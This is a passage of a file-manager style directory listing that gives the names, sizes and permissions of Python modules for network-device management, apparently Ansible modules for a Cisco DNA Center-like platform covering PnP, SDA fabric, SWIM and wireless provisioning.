network_device_user_defined_field_info.py File 2.17 KB 0644
network_device_vlan_info.py File 2.07 KB 0644
network_device_wireless_lan_info.py File 2.22 KB 0644
network_device_with_snmp_v3_des_info.py File 2.64 KB 0644
network_info.py File 2.13 KB 0644
network_update.py File 6.08 KB 0644
network_v2.py File 7.63 KB 0644
network_v2_info.py File 2.02 KB 0644
nfv_profile.py File 8.75 KB 0644
nfv_profile_info.py File 3.76 KB 0644
nfv_provision.py File 16.58 KB 0644
nfv_provision_detail_info.py File 2.42 KB 0644
nfv_provision_details.py File 1.73 KB 0644
path_trace.py File 3.24 KB 0644
path_trace_info.py File 35.31 KB 0644
planned_access_points_info.py File 3.24 KB 0644
platform_nodes_configuration_summary_info.py File 3.32 KB 0644
platform_release_summary_info.py File 2.1 KB 0644
pnp_device.py File 46 KB 0644
pnp_device_authorize.py File 1.69 KB 0644
pnp_device_claim.py File 3.61 KB 0644
pnp_device_claim_to_site.py File 3.37 KB 0644
pnp_device_config_preview.py File 2.08 KB 0644
pnp_device_count_info.py File 3.45 KB 0644
pnp_device_history_info.py File 2.7 KB 0644
pnp_device_import.py File 45.67 KB 0644
pnp_device_info.py File 13.87 KB 0644
pnp_device_reset.py File 3.04 KB 0644
pnp_device_unclaim.py File 1.68 KB 0644
pnp_global_settings.py File 7.96 KB 0644
pnp_global_settings_info.py File 3.04 KB 0644
pnp_intent.py File 30.29 KB 0644
pnp_server_profile_update.py File 5.13 KB 0644
pnp_smart_account_domains_info.py File 1.64 KB 0644
pnp_virtual_account_add.py File 5.16 KB 0644
pnp_virtual_account_deregister.py File 2.75 KB 0644
pnp_virtual_account_devices_sync.py File 5.33 KB 0644
pnp_virtual_account_sync_result_info.py File 2.73 KB 0644
pnp_virtual_accounts_info.py File 1.78 KB 0644
pnp_workflow.py File 7.73 KB 0644
pnp_workflow_count_info.py File 1.67 KB 0644
pnp_workflow_info.py File 4.15 KB 0644
profiling_rules_count_info.py File 1.89 KB 0644
profiling_rules_in_bulk_create.py File 5.86 KB 0644
projects_details_info.py File 2.38 KB 0644
qos_device_interface.py File 5.33 KB 0644
qos_device_interface_info.py File 3.19 KB 0644
qos_device_interface_info_count_info.py File 1.76 KB 0644
reports.py File 6.25 KB 0644
reports_executions_info.py File 3.25 KB 0644
reports_info.py File 3.91 KB 0644
reports_view_group_info.py File 2.73 KB 0644
reports_view_group_view_info.py File 3.5 KB 0644
reserve_ip_subpool.py File 6.32 KB 0644
reserve_ip_subpool_create.py File 4.39 KB 0644
reserve_ip_subpool_delete.py File 1.67 KB 0644
reserve_ip_subpool_info.py File 3.17 KB 0644
reserve_ip_subpool_update.py File 3.85 KB 0644
role_permissions_info.py File 1.72 KB 0644
roles_info.py File 1.9 KB 0644
sda_count_info.py File 1.37 KB 0644
sda_device_info.py File 1.82 KB 0644
sda_device_role_info.py File 1.84 KB 0644
sda_fabric.py File 1.84 KB 0644
sda_fabric_authentication_profile.py File 4.06 KB 0644
sda_fabric_authentication_profile_info.py File 2.3 KB 0644
sda_fabric_border_device.py File 7.19 KB 0644
sda_fabric_border_device_info.py File 5.96 KB 0644
sda_fabric_control_plane_device.py File 3.04 KB 0644
sda_fabric_control_plane_device_info.py File 2.04 KB 0644
sda_fabric_edge_device.py File 2.67 KB 0644
sda_fabric_edge_device_info.py File 1.91 KB 0644
sda_fabric_info.py File 1.51 KB 0644
sda_fabric_site.py File 2.8 KB 0644
sda_fabric_site_info.py File 1.8 KB 0644
sda_multicast.py File 3.79 KB 0644
sda_multicast_info.py File 2.19 KB 0644
sda_port_assignment_for_access_point.py File 3.51 KB 0644
sda_port_assignment_for_access_point_info.py File 2.32 KB 0644
sda_port_assignment_for_user_device.py File 4.16 KB 0644
sda_port_assignment_for_user_device_info.py File 2.28 KB 0644
sda_provision_device.py File 3.37 KB 0644
sda_provision_device_info.py File 1.82 KB 0644
sda_virtual_network.py File 2.5 KB 0644
sda_virtual_network_info.py File 1.96 KB 0644
sda_virtual_network_ip_pool.py File 4.93 KB 0644
sda_virtual_network_ip_pool_info.py File 2.3 KB 0644
sda_virtual_network_v2.py File 3.83 KB 0644
sda_virtual_network_v2_info.py File 1.93 KB 0644
security_advisories_devices_info.py File 1.81 KB 0644
security_advisories_ids_per_device_info.py File 1.95 KB 0644
security_advisories_info.py File 1.97 KB 0644
security_advisories_per_device_info.py File 2.17 KB 0644
security_advisories_summary_info.py File 2.25 KB 0644
sensor.py File 6.52 KB 0644
sensor_info.py File 2.13 KB 0644
sensor_test_run.py File 1.45 KB 0644
sensor_test_template_duplicate.py File 4.93 KB 0644
sensor_test_template_edit.py File 6.9 KB 0644
service_provider_create.py File 2.06 KB 0644
service_provider_info.py File 2.1 KB 0644
service_provider_profile_delete.py File 1.68 KB 0644
service_provider_update.py File 2.19 KB 0644
service_provider_v2.py File 2.89 KB 0644
service_provider_v2_info.py File 2.13 KB 0644
site_assign_credential.py File 2.24 KB 0644
site_assign_device.py File 1.59 KB 0644
site_count_info.py File 1.58 KB 0644
site_create.py File 3.92 KB 0644
site_delete.py File 1.55 KB 0644
site_design_floormap.py File 2.27 KB 0644
site_design_floormap_info.py File 1.93 KB 0644
site_health_info.py File 3.99 KB 0644
site_info.py File 2.35 KB 0644
site_intent.py File 18.24 KB 0644
site_membership_info.py File 2.34 KB 0644
site_update.py File 3.59 KB 0644
snmp_properties.py File 2.19 KB 0644
snmp_properties_info.py File 1.72 KB 0644
snmpv2_read_community_credential.py File 3 KB 0644
snmpv2_write_community_credential.py File 3.02 KB 0644
snmpv3_credential.py File 3.67 KB 0644
sp_profile_delete_v2.py File 1.66 KB 0644
swim_image_details_info.py File 5.06 KB 0644
swim_import_local.py File 2.41 KB 0644
swim_import_via_url.py File 2.92 KB 0644
swim_intent.py File 29 KB 0644
swim_trigger_activation.py File 2.92 KB 0644
swim_trigger_distribution.py File 2.1 KB 0644
syslog_config_create.py File 2.01 KB 0644
syslog_config_update.py File 2.01 KB 0644
system_health_count_info.py File 2.1 KB 0644
system_health_info.py File 2.74 KB 0644
system_performance_historical_info.py File 2.73 KB 0644
system_performance_info.py File 2.72 KB 0644
tag.py File 4.1 KB 0644
tag_count_info.py File 2.02 KB 0644
tag_info.py File 3.95 KB 0644
tag_member.py File 2.52 KB 0644
tag_member_count_info.py File 1.94 KB 0644
tag_member_info.py File 2.71 KB 0644
tag_member_type_info.py File 1.56 KB 0644
tag_membership.py File 2.03 KB 0644
task_count_info.py File 2.87 KB 0644
task_info.py File 4.5 KB 0644
task_operation_info.py File 2.57 KB 0644
task_tree_info.py File 2.2 KB 0644
template_intent.py File 35.52 KB 0644
template_preview.py File 1.93 KB 0644
templates_details_info.py File 9.67 KB 0644
threat_detail.py File 2.15 KB 0644
threat_detail_count.py File 1.88 KB 0644
threat_summary.py File 1.87 KB 0644
topology_layer_2_info.py File 3.38 KB 0644
topology_layer_3_info.py File 3.42 KB 0644
topology_network_health_info.py File 2.77 KB 0644
topology_physical_info.py File 3.38 KB 0644
topology_site_info.py File 1.92 KB 0644
topology_vlan_details_info.py File 1.58 KB 0644
transit_peer_network.py File 3.64 KB 0644
transit_peer_network_info.py File 2.17 KB 0644
user.py File 2.64 KB 0644
user_enrichment_details_info.py File 4.94 KB 0644
user_info.py File 1.89 KB 0644
users_external_servers_info.py File 2.12 KB 0644
wireless_accespoint_configuration.py File 12.09 KB 0644
wireless_accesspoint_configuration_summary_info.py File 4.36 KB 0644
wireless_dynamic_interface.py File 2.63 KB 0644
wireless_dynamic_interface_info.py File 1.86 KB 0644
wireless_enterprise_ssid.py File 5.6 KB 0644
wireless_enterprise_ssid_info.py File 2.89 KB 0644
wireless_profile.py File 5.16 KB 0644
wireless_profile_info.py File 2.16 KB 0644
wireless_provision_access_point.py File 2.53 KB 0644
wireless_provision_device_create.py File 3.01 KB 0644
wireless_provision_device_update.py File 2.99 KB 0644
wireless_provision_ssid_create_provision.py File 3.74 KB 0644
wireless_provision_ssid_delete_reprovision.py File 2.06 KB 0644
wireless_psk_override.py File 2.04 KB 0644
wireless_rf_profile.py File 5.96 KB 0644
wireless_rf_profile_info.py File 2.69 KB 0644
wireless_sensor_test_results_info.py File 3.52 KB 0644